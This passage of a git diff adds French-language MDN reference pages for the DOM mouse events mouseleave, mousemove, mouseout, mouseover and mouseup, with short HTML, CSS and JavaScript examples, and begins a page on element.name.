+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.mouseenter_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><code><a href="/fr/docs/Web/API/Element/mouseover_event">mouseover</a></code></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/mouseleave_event/index.html b/files/fr/web/api/element/mouseleave_event/index.html
new file mode 100644
index 0000000000..48425a84f8
--- /dev/null
+++ b/files/fr/web/api/element/mouseleave_event/index.html
@@ -0,0 +1,148 @@
+---
+title: 'Element : évènement mouseleave'
+slug: Web/API/Element/mouseleave_event
+tags:
+  - API
+  - DOM
+  - Element
+  - Event
+  - Reference
+  - mouseleave
+translation_of: Web/API/Element/mouseleave_event
+---
+<p>{{APIRef}}</p>
+
+<p><span class="seoSummary">L'évènement <strong><code>mouseleave</code></strong> est déclenché à partir d'un {{domxref("Element")}} lorsque le curseur d'un dispositif de pointage (ex. une souris) se déplace en dehors de cet élément.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseleave", "onmouseleave")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>mouseleave</code> et {{event('mouseout')}} se ressemblent mais <code>mouseleave</code> ne remonte pas dans le DOM tandis que <code>mouseout</code> remonte. <code>mouseleave</code> est donc déclenché lorsque le pointeur a quitté l'élément et tout ses descendants tandis que <code>mouseout</code> est déclenché lorsque le pointeur quitte l'élément ou l'un des descendants (quand bien même il serait toujours sur le parent).</p>
+
+<div style="column-width: 455px; border: 1px solid; padding: 5px; margin-bottom: 10px;">
+<div style="text-align: center;"><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5910/=mouseleave.png"></div>
+Un évènement <code>mouseleave</code> est envoyé à chaque élément de la hiérarchie lorsqu'on les quitte. Les quatre évènements sont envoyés chacun aux quatre élément de la hiérarchie lorsque le pointeur se déplace du texte à une zone en dehors du <code>&lt;div&gt;</code> le plus haut dans la hiérarchie.
+
+<div style="text-align: center;"><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5911/=mouseout.png"></div>
+Un seul évènement <code>mouseout</code> est envoyé à l'élément le plus profond du DOM puis remonte le long de la hiérarchie tant qu'il n'est pas annulé ou qu'il n'a pas atteint la racine.</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir la documentation de <a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a> pour un exemple sur les différences entre <code>mouseout</code> et <code>mouseleave</code>.</p>
+
+<p>Ici, on utilise l'évènement <code>mouseenter</code> pour modifier la bordure d'un élément <code>div</code> lorsque la souris rentre sur cet espace. Ensuite, on ajoute un élément à la liste avec le nombre d'évènements <code>mouseenter</code> et <code>mouseleave</code>.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id='mouseTarget'&gt;
+ &lt;ul id="unorderedList"&gt;
+  &lt;li&gt;Pas encore d'évènement !&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>On met le <code>div</code> en forme afin de le rendre plus visible.</p>
+
+<pre class="brush: css">#mouseTarget {
+  box-sizing: border-box;
+  width:15rem;
+  border:1px solid #333;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var enterEventCount = 0;
+var leaveEventCount = 0;
+const mouseTarget = document.getElementById('mouseTarget');
+const unorderedList = document.getElementById('unorderedList');
+
+mouseTarget.addEventListener('mouseenter', e =&gt; {
+  mouseTarget.style.border = '5px dotted orange';
+  enterEventCount++;
+  addListItem("Voici le nombre d'évènements mouseenter : " + enterEventCount + ".");
+});
+
+mouseTarget.addEventListener('mouseleave', e =&gt; {
+  mouseTarget.style.border = '1px solid #333';
+  leaveEventCount++;
+  addListItem("Voici le nombre d'évènements mouseleave : " + leaveEventCount + ".");
+});
+
+function addListItem(text) {
+  //  On crée un noeud texte avec le texte passé en argument
+  var newTextNode = document.createTextNode(text);
+
+  // On crée un nouvel élément li
+  var newListItem = document.createElement("li");
+
+  // On ajoute le noeud texte à l'élément li
+  newListItem.appendChild(newTextNode);
+
+  // On ajoute le nouvel élément à la liste
+  unorderedList.appendChild(newListItem);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseleave', 'mouseleave')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseleave', 'mouseleave')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.mouseleave_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><code><a href="/fr/docs/Web/API/Element/mouseover_event">mouseover</a></code></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/mousemove_event/index.html b/files/fr/web/api/element/mousemove_event/index.html
new file mode 100644
index 0000000000..3130ac80aa
--- /dev/null
+++ b/files/fr/web/api/element/mousemove_event/index.html
@@ -0,0 +1,161 @@
+---
+title: 'Element : évènement mousemove'
+slug: Web/API/Element/mousemove_event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - events
+  - mousemove
+translation_of: Web/API/Element/mousemove_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <code>mousemove</code> est déclenché à partir d'un élément lorsqu'un dispositif de pointage (ex. une souris) est déplacé lorsque le curseur est à l'intérieur de l'élément.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.onmousemove", "onmousemove")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on utilise les évènements <code><a href="/fr/docs/Web/API/Element/mousedown_event">mousedown</a></code>, <code><a href="/fr/docs/Web/API/Element/mousemove_event">mousemove</a></code> et <code><a href="/fr/docs/Web/API/Element/mouseup_event">mouseup</a></code> pour permettre à l'utilisateur de dessiner sur un <a href="/fr/docs/Web/API/Canvas_API">canevas</a> HTML (le dessin est simple : une ligne dont l'épaisseur vaut 1 et dont la couleur est toujours noire).</p>
+
+<p>Lors du chargement de la page, les constantes <code>myPics</code> et <code>context</code> sont créées comme références au canevas et au contexte 2D qui seront utilisés pour le dessin. Enfin, la constante <code>rect</code> permet de stocker les coordonnées relatives du canevas par rapport à la page.</p>
+
+<p>Le dessin commence quand l'évènement <code>mousedown</code> est déclenché. On stocke les coordonnées du pointeur dans les variables <code>x</code> et <code>y</code> puis on passe la variable <code>isDrawing</code> à <code>true</code> pour indiquer qu'un dessin est en cours.</p>
+
+<p>Lorsque le pointeur se déplace sur la page, l'évènement <code>mousemove</code> est déclenché. Si <code>isDrawing</code> vaut <code>true</code>, le gestionnaire d'évènement appelle la fonction <code>drawLine()</code> afin de dessiner une ligne entre le point de coordonnées <code>x</code> et <code>y</code> (stockées dans ces variables) et la position actuelle (N.B. les coordonnées <code>x</code> et <code>y</code> sont "corrigées" avec la constante <code>rect</code> pour tenir compte du décalage entre le canevas et la page).</p>
+
+<p>Lorsque la fonction <code>drawLine()</code> a fini son exécution, on ajuste les coordonnées courante en les stockant dans <code>x</code> et <code>y</code>.</p>
+
+<p>Lorsque l'évènement <code>mouseup</code> est déclenché, on dessine le segment final du dessin en cours, on passe <code>x</code> et <code>y</code> à <code>0</code> puis on arrête le dessin en passant <code>isDrawing</code> à <code>false</code>.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h1&gt;Dessiner grâce aux évènements de souris&lt;/h1&gt;
+&lt;canvas id="myPics" width="560" height="360"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">canvas {
+  border: 1px solid black;
+  width: 560px;
+  height: 360px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">// Un booléen qui, lorsqu'il est vrai, indique que le déplacement de
+// la souris entraîne un dessin sur le canevas
+let isDrawing = false;
+let x = 0;
+let y = 0;
+
+const myPics = document.getElementById('myPics');
+const context = myPics.getContext('2d');
+
+// On récupère le décalage du canevas en x et y par rapport aux bords
+// de la page
+const rect = myPics.getBoundingClientRect();
+
+// On ajoute les gestionnaires d'évènements pour mousedown, mousemove
+// et mouseup
+myPics.addEventListener('mousedown', e =&gt; {
+  x = e.clientX - rect.left;
+  y = e.clientY - rect.top;
+  isDrawing = true;
+});
+
+myPics.addEventListener('mousemove', e =&gt; {
+  if (isDrawing === true) {
+    drawLine(context, x, y, e.clientX - rect.left, e.clientY - rect.top);
+    x = e.clientX - rect.left;
+    y = e.clientY - rect.top;
+  }
+});
+
+window.addEventListener('mouseup', e =&gt; {
+  if (isDrawing === true) {
+    drawLine(context, x, y, e.clientX - rect.left, e.clientY - rect.top);
+    x = 0;
+    y = 0;
+    isDrawing = false;
+  }
+});
+
+function drawLine(context, x1, y1, x2, y2) {
+  context.beginPath();
+  context.strokeStyle = 'black';
+  context.lineWidth = 1;
+  context.moveTo(x1, y1);
+  context.lineTo(x2, y2);
+  context.stroke();
+  context.closePath();
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 640, 450)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mousemove', 'mousemove')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mousemove', 'mousemove')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.mousemove_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseover_event"><code>mouseover</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/mouseout_event/index.html b/files/fr/web/api/element/mouseout_event/index.html
new file mode 100644
index 0000000000..ee0921b941
--- /dev/null
+++ b/files/fr/web/api/element/mouseout_event/index.html
@@ -0,0 +1,125 @@
+---
+title: 'Element : évènement mouseout'
+slug: Web/API/Element/mouseout_event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - mouseout
+translation_of: Web/API/Element/mouseout_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>mouseout</code></strong> est déclenché à partir d'un {{domxref("Element")}} lorsqu'un dispositif de pointage (ex. une souris) déplace le curseur en dehors de l'élément ou de l'un de ses fils.</span> <code>mouseout</code> est également apporté à un élément si le curseur se déplace dans un élément fils car l'élément fils peut masquer la zone visible de l'élément.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènements</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseout", "onmouseout")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on illustre la différence entre <code>mouseout</code> et <a href="/fr/docs/Web/API/Element/mouseleave_event" title="/en/Mozilla_event_reference/mouseleave"><code>mouseleave</code></a>. Ce dernier est ajouté à {{HTMLElement("ul")}} pour colorer la liste en violet lorsque la souris quitte <code>&lt;ul&gt;</code>. <code>mouseout</code> est ajouté à la liste pour colorer l'élément ciblé en orange lorsque la souris le quitte.</p>
+
+<p>En essayant cet exemple, vous pourrez voir que <code>mouseout</code> est envoyé aux éléments individuels de la liste tandis que <code>mouseleave</code> est géré sur la liste entière. Cela provient de la hiérarchie des éléments et du fait que les éléments de la liste "masquent" la liste sous-jacente.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul id="test"&gt;
+  &lt;li&gt;élément 1&lt;/li&gt;
+  &lt;li&gt;élément 2&lt;/li&gt;
+  &lt;li&gt;élément 3&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let test = document.getElementById("test");
+
+// On affiche la liste en violet lorsque le curseur quitte
+// l'élément &lt;ul&gt;
+test.addEventListener("mouseleave", function( event ) {
+  // on cible la cible de mouseleave
+  event.target.style.color = "purple";
+
+  // on réinitialise la couleur après quelques instants
+  setTimeout(function() {
+    event.target.style.color = "";
+  }, 1000);
+}, false);
+
+// On affiche les éléments &lt;li&gt; en orange lorsque la souris
+// les quitte
+test.addEventListener("mouseout", function( event ) {
+  // on cible la cible de mouseout
+  event.target.style.color = "orange";
+
+ // on réinitialise la couleur après quelques instants
+  setTimeout(function() {
+    event.target.style.color = "";
+  }, 500);
+}, false);</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 640, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseout', 'mouseout')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseout', 'mouseout')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.mouseout_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><code><a href="/fr/docs/Web/API/Element/mouseover_event">mouseover</a></code></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/mouseover_event/index.html b/files/fr/web/api/element/mouseover_event/index.html
new file mode 100644
index 0000000000..9cfdbc5ba0
--- /dev/null
+++ b/files/fr/web/api/element/mouseover_event/index.html
@@ -0,0 +1,123 @@
+---
+title: 'Element : évènement mouseover'
+slug: Web/API/Element/mouseover_event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - mouseover
+translation_of: Web/API/Element/mouseover_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>mouseover</code></strong> est déclenché à partir d'un {{domxref("Element")}} lorsqu'un dispositif de pointage (une souris par exemple) déplace le curseur sur l'élément ou sur l'un de ses éléments fils.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseover", "onmouseover")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant illustre la différence entre les évènements <code>mouseover</code> et <a href="/fr/docs/Web/Events/mouseenter" title="/en/Mozilla_event_reference/mouseenter"><code>mouseenter</code></a>.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul id="test"&gt;
+  &lt;li&gt;item 1&lt;/li&gt;
+  &lt;li&gt;item 2&lt;/li&gt;
+  &lt;li&gt;item 3&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let test = document.getElementById("test");
+
+// Ce gestionnaire ne sera exécuté qu'une fois
+// lorsque le curseur se déplace sur la liste
+test.addEventListener("mouseenter", function( event ) {
+  // on met l'accent sur la cible de mouseenter
+  event.target.style.color = "purple";
+
+  // on réinitialise la couleur après quelques instants
+  setTimeout(function() {
+    event.target.style.color = "";
+  }, 500);
+}, false);
+
+// Ce gestionnaire sera exécuté à chaque fois que le curseur
+// se déplacera sur un autre élément de la liste
+test.addEventListener("mouseover", function( event ) {
+  // on met l'accent sur la cible de mouseover
+  event.target.style.color = "orange";
+
+  // on réinitialise la couleur après quelques instants
+  setTimeout(function() {
+    event.target.style.color = "";
+  }, 500);
+}, false);</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseover', 'mouseover')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseover', 'mouseover')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.mouseover_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/mouseup_event/index.html b/files/fr/web/api/element/mouseup_event/index.html
new file mode 100644
index 0000000000..1faf2195d2
--- /dev/null
+++ b/files/fr/web/api/element/mouseup_event/index.html
@@ -0,0 +1,83 @@
+---
+title: 'Element : évènement mouseup'
+slug: Web/API/Element/mouseup_event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - events
+  - mouseup
+translation_of: Web/API/Element/mouseup_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>mouseup</code></strong> est déclenché à partir d'un {{domxref("Element")}} lorsqu'un bouton d'un dispositif de pointage (une souris ou un pavé tactile par exemple) est relaché lorsque le pointeur est sur cet élément.</span> Les évènements <code>mouseup</code> peuvent être comparés aux évènements {{domxref("Element.mousedown_event", "mousedown")}} qui se produisent lorsqu'on <em>appuie</em> sur un bouton.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseup", "onmouseup")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>{{page("/fr/docs/Web/API/Element/mousemove_event", "Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseup', 'mouseup')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseup', 'mouseup')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.mouseup_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseover_event"><code>mouseover</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/name/index.html b/files/fr/web/api/element/name/index.html
new file mode 100644
index 0000000000..3d79a2089e
--- /dev/null
+++ b/files/fr/web/api/element/name/index.html
@@ -0,0 +1,76 @@
+---
+title: element.name
+slug: Web/API/Element/name
+tags:
+  - API
+  - DOM
+  - Element
+  - Nom
+  - Propriétés
+translation_of: Web/API
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>name</strong></code> obtient ou définit la propriété <code>name</code> (<em>nom</em>) d'un élément dans le DOM. Il s'applique uniquement aux éléments suivants : {{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }} et {{ HTMLelement("textarea") }}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>name</code> n'existe pas pour d'autres éléments ; contrairement à <a href="https://developer.mozilla.org/en/DOM/Element.tagName" title="en/DOM/element.tagName"><code>tagName</code></a> et <a href="https://developer.mozilla.org/en/DOM/Node.nodeName" title="en/DOM/Node.nodeName"><code>nodeName</code></a>, ce n'est pas une propriété des interfaces {{domxref("Node")}}, {{domxref("Element")}} ou {{domxref("HTMLElement")}}.</p>
+</div>
+
+<p>Le <code>name</code> peut être utilisé avec la méthode {{ domxref("document.getElementsByName()") }}, dans un <a href="https://developer.mozilla.org/fr/docs/Web/API/HTMLFormElement" title="fr/DOM/form">formulaire</a> et dans la collection <a href="https://developer.mozilla.org/fr/docs/Web/API/HTMLFormElement/elements" title="fr/DOM/form.elements"><code>elements</code></a> d'un formulaire. Lorsqu'il est utilisé avec un formulaire ou les collections d'éléments, il peut renvoyer un seul élément ou une collection d'éléments.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>HTMLElement</em>.name = <em>string</em>;
+var elName = <em>HTMLElement</em>.name;
+
+var fControl = <em>HTMLFormElement</em>.<em>elementName</em>;
+var controlCollection = <em>HTMLFormElement</em>.elements.<em>elementName</em>;
+</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">&lt;form action="" name="formA"&gt;
+  &lt;input type="text" value="foo"&gt;
+&lt;/form&gt;
+
+&lt;script type="text/javascript"&gt;
+
+  // Obtient une référence au premier élément du formulaire
+  var formElement = document.forms['formA'].elements[0];
+
+  // Lui donne un nom
+  formElement.name = 'inputA';
+
+  // Affiche la valeur du champ
+  alert(document.forms['formA'].elements['inputA'].value);
+
+&lt;/script&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
